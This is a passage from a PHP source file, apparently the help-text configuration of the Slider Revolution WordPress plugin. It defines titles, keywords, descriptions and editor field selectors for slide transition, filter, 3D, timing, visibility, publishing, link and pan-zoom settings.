							$k => array("slide transition", "slide animation", "animation columns", "transition colums", "slots", "boxes", "columns"),
							$d => __("If using a 'Rows' or 'Boxes' transition, this option specifies the number of horizontal rows into which the animation should be split.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slideout_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_out_col"
							)
						),
						'xtrans_out' => array(
							$t => __("Animation 'Out' - Horizontal Move", 'revsliderhelp'),
							$h => "slideChange.out.x",
							$k => array("slide transition", "slide animation", "animation transform", "transition horizontal"),
							$d => __("Optionally add horizontal motion to elements in Columns/Rows/Boxes transitions. Accepts three possible formats denoting either random, cycles or direction based movement. 1) Random: {min,max} Applies a random amount of movement within a specified range. E.g, {-45,45} to slide in by an amount between -45% and 45% of the element's width. 2) Cycles: [val,val,val] Cycles through applying specified movement amounts sequentially from one element to the next, in the order determined by the 'Flow' setting. E.g. [-10,10,25] will apply a -10% motion to the first element, 10% to the next, then 25%, then the sequence repeats. 3) Direction Based: (val) e.g. (45) to add 45% motion when going to the next slide, and -45% when going to the previous slide.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slideout_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_out_x"
							)
						),
						'ytrans_out' => array(
							$t => __("Animation 'Out' - Vertical Move", 'revsliderhelp'),
							$h => "slideChange.out.y",
							$k => array("slide transition", "slide animation", "animation transform", "transition horizontal"),
							$d => __("Optionally add vertical motion to elements in Columns/Rows/Boxes transitions. Accepts three possible formats denoting either random, cycles or direction based movement. 1) Random: {min,max} Applies a random amount of movement within a specified range. E.g, {-45,45} to slide in by an amount between -45% and 45% of the element's height. 2) Cycles: [val,val,val] Cycles through applying specified movement amounts sequentially from one element to the next, in the order determined by the 'Flow' setting. E.g. [-10,10,25] will apply a -10% motion to the first element, 10% to the next, then 25%, then the sequence repeats. 3) Direction Based: (val) e.g. (45) to add 45% motion when going to the next slide, and -45% when going to the previous slide.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slideout_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_out_y"
							)
						),
						'xscale_out' => array(
							$t => __("Animation 'Out' - Horizontal Scale", 'revsliderhelp'),
							$h => "slideChange.out.sx",
							$k => array("slide transition", "slide animation", "animation transform", "transition horizontal","slide scale", "transition scale", "scale"),
							$d => __("Optionally add horizontal scaling (growth or shrinking) to elements in Columns/Rows/Boxes transitions. Accepts three possible formats denoting either fixed, random or cycles based scaling. 1) Fixed: (val) A single value between 0 and 500. A value of 1 has no effect, < 1 scales down (shrinks), and > 1 scales up (grows). 2) Random: {min,max} Applies a random amount of horizontal scaling within a specified range. E.g, {0,2.5} will randomly generate scaling on each element of between 0% and 250%. 3) Cycles: [val,val,val] Cycles through applying specified horizontal scaling amounts sequentially from one element to the next, in the order determined by the 'Flow' setting. E.g. [0,1.5,0.2] will apply a 0% scaling to the first element, 150% to the next, then 20%, then the sequence repeats.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slideout_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_out_scalex"
							)
						),
						'yscale_out' => array(
							$t => __("Animation 'Out' - Vertical Scale", 'revsliderhelp'),
							$h => "slideChange.out.sy",
							$k => array("slide transition", "slide animation", "animation transform", "transition horizontal", "slide scale", "transition scale", "scale"),
							$d => __("Optionally add vertical scaling (growth or shrinking) to elements in Columns/Rows/Boxes transitions. Accepts three possible formats denoting either fixed, random or cycles based scaling. 1) Fixed: (val) A single value between 0 and 500. A value of 1 has no effect, < 1 scales down (shrinks), and > 1 scales up (grows). 2) Random: {min,max} Applies a random amount of vertical scaling within a specified range. E.g, {0,2.5} will randomly generate scaling on each element of between 0% and 250%. 3) Cycles: [val,val,val] Cycles through applying specified vertical scaling amounts sequentially from one element to the next, in the order determined by the 'Flow' setting. E.g. [0,1.5,0.2] will apply a 0% scaling to the first element, 150% to the next, then 20%, then the sequence repeats.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slideout_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_out_scaley"
							)
						),
						'opactiy_out' => array(
							$t => __("Animation 'Out' - Transparency", 'revsliderhelp'),
							$h => "slideChange.out.o",
							$k => array("slide transition", "slide animation", "animation transform", "transition horizontal"),
							$d => __("The standard input range is 0 to 1, where 0 is completely transparent and 1 is fully opaque. In most cases you should use a value between 0 and 1, however, if necessary you can reduce the value down as far as -3, which will allow you to time the opacity animation differently than the 'Out’ animation. The lower the value, the quicker the transparency animation will be compared to the rest of the ‘Out’ animation. This can be helpful in harmonizing complex animations.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slideout_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_out_fade"
							)							
						),
						'rotation_out' => array(
							$t => __("Animation 'Out' - Rotation", 'revsliderhelp'),
							$h => "slideChange.out.r",
							$k => array("slide transition", "slide animation", "animation rotation", "transition rotation"),
							$d => __("Optionally add rotation to elements in Columns/Rows/Boxes transitions. Accepts three possible formats denoting either random, cycles or direction based rotation. 1) Random: {min,max} Applies a random amount of rotation within a specified range. E.g, {-45,45} to rotate by an amount between -45 and 45 degrees. 2) Cycles: [val,val,val] Cycles through applying specified movement amounts sequentially from one element to the next, in the order determined by the 'Flow' setting. E.g. [-10,10,25] will apply a -10 degree rotation to the first element, 10 degrees to the next, then 25 degrees, then the sequence repeats. 3) Direction Based: (val) e.g. (45) to add a 45 degree rotation when going to the next slide, and -45 degree rotation when going to the previous slide.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slideout_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_out_rotation"
							)
						),

						'allfilters' => array(
							$t => __("Slide Animation Filters", 'revsliderhelp'),
							$h => "slideChange.filter.u",
							$k => array("slide transition", "slide animation", "animation filters", "filters"),
							$d => __("Enable or disable filter effects on slide transition animations ", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slidefilter_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#slidechangefilteru"
							)
						),
						'easing_filter' => array(
							$t => __("Filter Animation Easing", 'revsliderhelp'),
							$h => "slideChange.filter.e",
							$k => array("slide transition", "slide animation", "animation filter easing", "transition filter easing"),
							$d => __("Set the easing amount for any filter effect animations to help you correctly time them with the rest of the transition.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slidefilter_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_filter_ease"
							)
						),

						'blur_filter' => array(
							$t => __("Slider Transition Blur Filter", 'revsliderhelp'),
							$h => "slideChange.filter.b",
							$k => array("slide transition", "slide animation", "animation filter blur", "transition filter blur", "blur"),
							$d => __("Apply a blur filter effect during the slide transition animation. This option sets the width of the blur in pixels, with a value of 0 representing no blur.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slidefilter_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#slidechangefilterb"
							)
						),
						'grayscale_filter' => array(
							$t => __("Slider Transition Grayscale Filter", 'revsliderhelp'),
							$h => "slideChange.filter.g",
							$k => array("slide transition", "slide animation", "animation filter grayscale", "transition filter grayscale", "grayscale"),
							$d => __("Apply a grayscale filter effect that reduces color during the slide transition animation. The minimum value is 0, which represents full color, and the maximum value is 100, which represents entirely black and white.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slidefilter_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#slidechangefilterg"
							)
						),
						'sephia_filter' => array(
							$t => __("Slider Transition Sepia Filter", 'revsliderhelp'),
							$h => "slideChange.filter.s",
							$k => array("slide transition", "slide animation", "animation filter sephia", "transition filter sephia", "sephia", "sepia", "animation filter sepia", "transition filter sepia"),
							$d => __("Apply a sepia color filter effect during the slide transition animation. The minimum value is 0, which represents full color, and the maximum value is 100, which represents full sepia.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slidefilter_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#slidechangefilters"
							)
						),
						'brightness_filter' => array(
							$t => __("Slider Transition Brightness Filter", 'revsliderhelp'),
							$h => "slideChange.filter.h",
							$k => array("slide transition", "slide animation", "animation filter brightness", "transition filter brightness", "brightness"),
							$d => __("Apply a brightness filter effect during the slide transition animation. A value of 100% represents normal brightness. Any value higher than 100% increases brightness, while values lower than 100% decrease brightness.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slidefilter_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#slidechangefilterh"
							)
						),
						'contrast_filter' => array(
							$t => __("Slider Transition Contrast Filter", 'revsliderhelp'),
							$h => "slideChange.filter.c",
							$k => array("slide transition", "slide animation", "animation filter contrast", "transition filter contrast", "contrast"),
							$d => __("Apply a contrast filter effect during the slide transition animation. The maximum value is 100, which represents normal contrast, and values 99 or lower reduce contrast, down to a minimum of 0.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slidefilter_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#slidechangefilterc"
							)
						),
						'invert_filter' => array(
							$t => __("Slider Transition Invert Filter", 'revsliderhelp'),
							$h => "slideChange.filter.i",
							$k => array("slide transition", "slide animation", "animation filter invert", "transition filter invert", "contrast"),
							$d => __("Apply a color inversion filter effect during the slide transition animation. The minimum value is 0, which represents normal color, and the maximum value is 100, which represents completely inverted color.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slidefilter_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#slidechangefilteri"
							)
						),
						
						
						
						'ddd_effect' => array(
							$t => __("Slider Transition 3D Effect", 'revsliderhelp'),
							$h => "slideChange.d3.f",
							$k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d"),
							$d => __("Apply a 3D effect to the entire slide during the transition animation. Available effects are: 'Cube', 'In Cube', 'Fly Out Throw In', and 'Clap Out Clap In'", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_3d_effect"
							)
						),

						'ddd_direction' => array(
							$t => __("3D Effect Direction", 'revsliderhelp'),
							$h => "slideChange.d3.d",
							$k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d"),
							$d => __("Choose whether the 3D effect animation should move in a horizontal or vertical direction", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_3d_dir"
							)
						),

						'ddd_ease' => array(
							$t => __("3D Effect Ease", 'revsliderhelp'),
							$h => "slideChange.d3.e",
							$k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d"),
							$d => __("The easing equation for the 3D effect animation, i.e. how the animation speeds up and slows down during playback", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_3d_ease"
							)
						),

						'ddd_slidecolor' => array(
							$t => __("3D Effect Side Color", 'revsliderhelp'),
							$h => "slideChange.d3.c",
							$k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d"),
							$d => __("When using the 3D animated 'Cube' or 'In Cube' 3D effect, this option sets the color of any visible side of the animated cube that isn't already covered by slide content.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#s_wall_bg_color"
							)
						),

						'ddd_depth' => array(
							$t => __("3D Effect Depth", 'revsliderhelp'),
							$h => "slideChange.d3.z",
							$k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d"),
							$d => __("This option defines how much depth a 3D animated effect appears to have. Increasing the value make the far side of the effect look further away.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#slidechangedddz"
							)
						),

						'ddd_room' => array(
							$t => __("3D Effect Room Rotation", 'revsliderhelp'),
							$h => "slideChange.d3.t",
							$k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d"),
							$d => __("Adds rotation on an additional axis when using a 3D animation effect, i.e. if '3D Effect Direction' is set to horizontal this option will also add vertical rotation, and vice versa. Either positive or negative values can be used in order to create rotation in one direction or the other.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#slidechangedddroom"
							)
						),

						'ddd_flyrotation' => array(
							$t => __("Fly Out Throw In Z Rotation", 'revsliderhelp'),
							$h => "slideChange.d3.fz",
							$k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d"),
							$d => __("When using the 'Fly Out Throw In' 3D effect animation, this option controls rotation of the slide on the Z axis. In other words, setting either a positive or negative value can make the slide look like it's rolling or swinging in from the side.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_3d_fdz"
							)
						),

						'ddd_flyout' => array(
							$t => __("Fly Out Distance", 'revsliderhelp'),
							$h => "slideChange.d3.fdo",
							$k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d"),
							$d => __("When using the 'Fly Out Throw In' 3D effect animation, this option controls the distance by which the slide will appear to 'fly out' of the container. At a value of 1 the slide will move a distance equal to 100% of its own width / height. At 2 it moves a distance twice its own size, at 0.5 the distance will be half its own size, and so on.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_3d_fdo"
							)
						),

						'ddd_flyin' => array(
							$t => __("Throw In Distance", 'revsliderhelp'),
							$h => "slideChange.d3.fdi",
							$k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d"),
							$d => __("When using the 'Fly Out Throw In' 3D effect animation, this option controls the distance by which the slide will appear to 'throw in' from outside the container. At a value of 1 the slide will move a distance equal to 100% of its own width / height. At 2 it moves a distance twice its own size, at 0.5 the distance will be half its own size, and so on.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_3d_fzi"
							)
						),

						'ddd_shadowuse' => array(
							$t => __("3D Shadow", 'revsliderhelp'),
							$h => "slideChange.d3.su",
							$k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d", "shadow"),
							$d => __("Toggle a shadow effect on 3D transition animations. The shadow appears as a gradient that runs across the face of the slider while its moving, and helps enhance the feeling of depth.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sl_ddd_shadow_u"
							)
						),

						'ddd_shadowmin' => array(
							$t => __("3D Shadow Minimum Strength", 'revsliderhelp'),
							$h => "slideChange.d3.smi",
							$k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d", "shadow"),
							$d => __("The minimum strength of the 3D animation's shadow at its lightest point. Can be set between 0 and 0.5.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sl_ddd_shadow_min"
							)
						),

						'ddd_shadowmax' => array(
							$t => __("3D Shadow Maximum Strength", 'revsliderhelp'),
							$h => "slideChange.d3.sma",
							$k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d", "shadow"),
							$d => __("The maximum strength of the 3D animation's shadow at its darkest point. Can be set between 0.5 and 1.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sl_ddd_shadow_max"
							)
						),

						'ddd_shadowlimit' => array(
							$t => __("3D Shadow Limitation", 'revsliderhelp'),
							$h => "slideChange.d3.sl",
							$k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d", "shadow"),
							$d => __("The limit on the distance between minimum and maximum strength points in the shadow. A value of 1 creates a gradient across the full slide, 0.5 creates gradient across 50% of the slide, and so on.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sl_ddd_shadow_limit"
							)
						),

						'ddd_shadowcolor' => array(
							$t => __("3D Shadow Color", 'revsliderhelp'),
							$h => "slideChange.d3.sc",
							$k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d", "shadow"),
							$d => __("The color of the 3D shadow effect.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#slide_shadow_color"
							)
						)
					),
					'gst_slide_5' => array(
						'bg_filter' => array(
							$t => __("Background Image Filter", 'revsliderhelp'),
							$h => "bg.mediaFilter",
							$k => array("filter", "filters", "image filter", "image filters", "bg filter", "bg filters", "background filter", "background filters", "instagram"),
							$d => __("An Instagram-type filter to apply to the Slide's main background image", 'revsliderhelp'),
							$a => $u . "slide-filters/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_5", 
								$st => '#form_slidebg_filters_int', 
								$f => "#slide_bg_filter"
							)
						)
					),
					'gst_slide_8' => array(
						'slide_length' => array(
							$t => __("Slide Time/Length", 'revsliderhelp'),
							$h => "timeline.delay",
							$k => array("slide", "slide settings", "slide time", "slide timeline", "slide length", "progress", "slide progress", "timeline"),
							$d => __("The Slide's total duration before the next Slide is shown", 'revsliderhelp'),
							$a => $u . "slide-progress/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_8", 
								$st => '#form_slidegeneral_timing', 
								$f => "#slide_length"
							)
						),
						'pause_slider' => array(
							$t => __("Pause Slider", 'revsliderhelp'),
							$h => "timeline.stopOnPurpose",
							$k => array("pause slider", "pause slide", "pause", "stop", "stop slider", "stop progress"),
							$d => __("Pause the Slider from changing Slides when this Slide is shown", 'revsliderhelp'),
							$a => $u . "slide-progress/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_8", 
								$st => '#form_slidegeneral_timing', 
								$f => "#slide_time_stopOnPurpose"
							)
						),
						'visibility' => array(
							'visible_in_navigation' => array(
								$t => __("Visible in Navigation", 'revsliderhelp'),
								$h => "visibility.hideFromNavigation",
								$k => array("visibility", "visible in navigation", "hidden in navigation", "slide visibility"),
								$d => __("Show the Slide in the Slider's main navigation, or make the Slide 'hidden' so it can only be shown from a Layer Action click", 'revsliderhelp'),
								$a => $u . "slide-progress/",
								$hl => array(
									$m => "#module_slide_trigger, #gst_slide_8", 
									$st => '#form_slidegeneral_visibility', 
									$f => "#slide_visibil_hideFromNavigation"
								)
							),
							'hide_after_loop' => array(
								$t => __("Hide After Loop", 'revsliderhelp'),
								$h => "visibility.hideAfterLoop",
								$k => array("visibility", "slide visibility", "hide after loop", "hide slide"),
								$d => __("Remove the Slide from the Slide stack after a set amount of loops", 'revsliderhelp'),
								$a => $u . "slide-progress/",
								$hl => array(
									$m => "#module_slide_trigger, #gst_slide_8", 
									$st => '#form_slidegeneral_visibility', 
									$f => "#slide_vis_loop"
								)
							),
							'hide_on_mobile' => array(
								$t => __("Hide on Mobile", 'revsliderhelp'),
								$h => "visibility.hideOnMobile",
								$k => array("visibility", "slide visibility", "hide on mobile", "hide slide", "hide slide on mobile"),
								$d => __("Hide the Slide on mobile devices"),
								$a => $u . "slide-progress/",
								$hl => array(
									$m => "#module_slide_trigger, #gst_slide_8", 
									$st => '#form_slidegeneral_visibility', 
									$f => "#sl_vis_hidemobile"
								)
							)
						)
					),
					'gst_slide_9' => array(
						'publish_status' => array(
							$t => __("Published Status", 'revsliderhelp'),
							$h => "publish.state",
							$k => array("slide", "slide settings", "publish", "publish slide", "unpublished"),
							$d => __("Choose the published state of the Slide.  Choose 'Unpublished' to work on the Slide in a draft status.", 'revsliderhelp'),
							$a => $u . "slide-publish-rules/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_9", 
								$st => '#form_slidegeneral_progstate', 
								$f => "#slide_publish_State"
							)
						),
						'publish_start' => array(
							$t => __("Publish Start Date", 'revsliderhelp'),
							$h => "publish.from",
							$k => array("publish", "publish slide", "unpublished", "publish from", "start date", "date", "starting date"),
							$d => __("Set a starting date for when the Slide should officially be included in the Slider", 'revsliderhelp'),
							$a => $u . "slide-publish-rules/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_9", 
								$st => '#form_slidegeneral_progstate', 
								$f => "#slide_pub_from"
							)
						),
						'publish_end' => array(
							$t => __("Publish End Date", 'revsliderhelp'),
							$h => "publish.to",
							$k => array("publish", "publish slide", "unpublished", "publish from", "end date", "date", "endingdate"),
							$d => __("Set an end date for when the Slide should officially be excluded from the Slider", 'revsliderhelp'),
							$a => $u . "slide-publish-rules/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_9", 
								$st => '#form_slidegeneral_progstate', 
								$f => "#slide_pub_until"
							)
						),
					),
					'gst_slide_4' => array(
						'html_tags' => array(
							'class' => array(
								$t => __("Slide Classes", 'revsliderhelp'),
								$h => "attributes.class",
								$k => array("slide class", "class", "class name"),
								$d => __("Add optional class names to the Slide to target the Slide with custom CSS or JavaScript", 'revsliderhelp'),
								$a => $u . "tags-link/",
								$hl => array(
									$m => "#module_slide_trigger, #gst_slide_4", 
									$st => '#form_slidegeneral_timing', 
									$f => "#slide_ls_class"
								)
							),
							'id' => array(
								$t => __("Slide ID", 'revsliderhelp'),
								$h => "attributes.id",
								$k => array("slide id", "slide id attribute", "id attribute"),
								$d => __("Add an optional ID to the Slide to target the Slide with custom CSS or JavaScript", 'revsliderhelp'),
								$a => $u . "tags-link/",
								$hl => array(
									$m => "#module_slide_trigger, #gst_slide_4", 
									$st => '#form_slidegeneral_timing', 
									$f => "#slide_ls_id"
								)
							),
							'data' => array(
								$t => __("Data Attributes", 'revsliderhelp'),
								$h => "attributes.data",
								$k => array("slide data", "slide data attribute", "slide data attributes", "data attribute", "data attributes"),
								$d => __("Optional data-attributes that can be added to the Slide to target it with custom CSS or JavaScript", 'revsliderhelp'),
								$a => $u . "tags-link/",
								$hl => array(
									$m => "#module_slide_trigger, #gst_slide_4", 
									$st => '#form_slidegeneral_timing', 
									$f => "#slide_ls_data"
								)
							)
						),
						'link_seo' => array(
							'enable' => array(
								$di => "slide_link_seo",
								$t => __("Enable Slide Link", 'revsliderhelp'),
								$h => "seo.set",
								$k => array("slide", "slide settings", "slide link", "link", "hyperlink", "slide hyperlink", "link slide"),
								$d => __("Add a link to the entire Slide area", 'revsliderhelp'),
								$a => $u . "tags-link/",
								$hl => array(
									$m => "#module_slide_trigger, #gst_slide_4", 
									$st => '#form_slidegeneral_linkseo', 
									$f => "#sl_seo_set"
								)
							),
							'type' => array(
								$di => "slide_link_seo_type",
								$t => __("Link Type", 'revsliderhelp'),
								$h => "seo.type",
								$k => array("slide link", "link", "hyperlink", "slide hyperlink", "link slide", "link to slide", "change slides"),
								$d => __("Choose a traditional link to the Slide to navigate to a new web page or another Slide", 'revsliderhelp'),
								$a => $u . "tags-link/",
								$hl => array(
									$dp => array(array($p => '#slide#.slide.seo.set', $v => true, $o => 'slide_link_seo')),
									$m => "#module_slide_trigger, #gst_slide_4", 
									$st => '#form_slidegeneral_linkseo', 
									$f => "#slide_seo_type"
								)
							),
							'url' => array(
								$t => __("Link URL", 'revsliderhelp'),
								$h => "seo.link",
								$k => array("slide link", "link", "hyperlink", "slide hyperlink", "link url", "url"),
								$d => __("The url to go to when the Slide is clicked", 'revsliderhelp'),
								$a => $u . "tags-link/",
								$hl => array(
									$dp => array(
										array($p => '#slide#.slide.seo.set', $v => true, $o => 'slide_link_seo'),
										array($p => '#slide#.slide.seo.type', $v => 'regular', $o => 'slide_link_seo_type'),
									),
									$m => "#module_slide_trigger, #gst_slide_4", 
									$st => '#form_slidegeneral_linkseo', 
									$f => "#slide_ls_link"
								)
							),
							'target' => array(
								$t => __("Link Target", 'revsliderhelp'),
								$h => "seo.target",
								$k => array("slide link", "link", "hyperlink", "slide hyperlink", "link url", "url", "link target"),
								$d => __("The <a href='https://www.w3schools.com/tags/att_link_target.asp' target='_blank'>target attribute</a> for the Slide link", 'revsliderhelp'),
								$a => $u . "tags-link/",
								$hl => array(
									$dp => array(
										array($p => '#slide#.slide.seo.set', $v => true, $o => 'slide_link_seo'),
										array($p => '#slide#.slide.seo.type', $v => 'regular', $o => 'slide_link_seo_type')
									),
									$m => "#module_slide_trigger, #gst_slide_4", 
									$st => '#form_slidegeneral_linkseo', 
									$f => "#slide_ls_link"
								)
							),
							'link_to_slide' => array(
								$t => __("Link to Slide", 'revsliderhelp'),
								$h => "seo.slideLink",
								$k => array("slide link", "link", "link to slide"),
								$d => __("Link to another Slide in the Slider", 'revsliderhelp'),
								$a => $u . "tags-link/",
								$hl => array(
									$dp => array(
										array($p => '#slide#.slide.seo.set', $v => true, $o => 'slide_link_seo'),
										array($p => '#slide#.slide.seo.type', $v => 'slide', $o => 'slide_link_seo_type')
									),
									$m => "#module_slide_trigger, #gst_slide_4", 
									$st => '#form_slidegeneral_linkseo', 
									$f => "#slide_seo_linktoslide"
								)
							),
							'link_zindex' => array(
								$t => __("Link Sensibility", 'revsliderhelp'),
								$h => "seo.z",
								$k => array("slide link", "link", "hyperlink", "slide hyperlink", "link to slide", "sensibility", "link z-index", "link zindex"),
								$d => __("Choose of the Slide link should be placed behind or above the Slide's Layer content", 'revsliderhelp'),
								$a => $u . "tags-link/",
								$hl => array(
									$dp => array(array($p => '#slide#.slide.seo.set', $v => true, $o => 'slide_link_seo')),
									$m => "#module_slide_trigger, #gst_slide_4", 
									$st => '#form_slidegeneral_linkseo', 
									$f => "#slide_seo_z"
								)
							)
						)
					),
					'gst_slide_3' => array(
						'enable' => array(
							$di => "slide_panzoom",
							$t => __("Enable PanZoom", 'revsliderhelp'),
							$h => "panzoom.set",
							$k => array("panzoom", "pan zoom"),
							$d => __("Enable the PanZoom effect by default for this Slide", 'revsliderhelp'),
							$a => $u . "pan-zoom/",
							$hl => array(
								$dp => array(array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type')),
								$m => "#module_slide_trigger, #gst_slide_3", 
								$st => '#form_slidebg_kenburn', 
								$f => "#sl_pz_set"
							)
						),
						'bg_position' => array(
							$t => __("Background Position", 'revsliderhelp'),
							$h => "bg.position",
							$k => array("pan zoom", "panzoom", "pan zoom position", "panzoom position"),
							$d => __("The <a href='https://www.w3schools.com/cssref/pr_background-position.asp' target='_blank'>CSS background-position</a> for the Slide's main background image", 'revsliderhelp'),
							$a => $u . "pan-zoom/",
							$hl => array(
								$dp => array(
									array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'),
									array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom')
								),
								$m => "#module_slide_trigger, #gst_slide_3", 
								$st => '#form_slidebg_kenburn', 
								$f => "#slide_bg_position_center-center"
							)
						),
						'zoom' => array(
							'fit_start' => array(
								$t => __("Zoom Start Percentage", 'revsliderhelp'),
								$h => "panzoom.fitStart",
								$k => array("panzoom", "pan zoom", "zoom", "pan zoom zoom", "panzoom zoom"),
								$d => __("The starting zoom percentage", 'revsliderhelp'),
								$a => $u . "pan-zoom/",
								$hl => array(
									$dp => array(
										array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'),
										array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom')
									),
									$m => "#module_slide_trigger, #gst_slide_3", 
									$st => '#form_slidebg_kenburn', 
									$f => "#sl_pz_fs"
								)
							),
							'fit_end' => array(
								$t => __("Zoom End Percentage", 'revsliderhelp'),
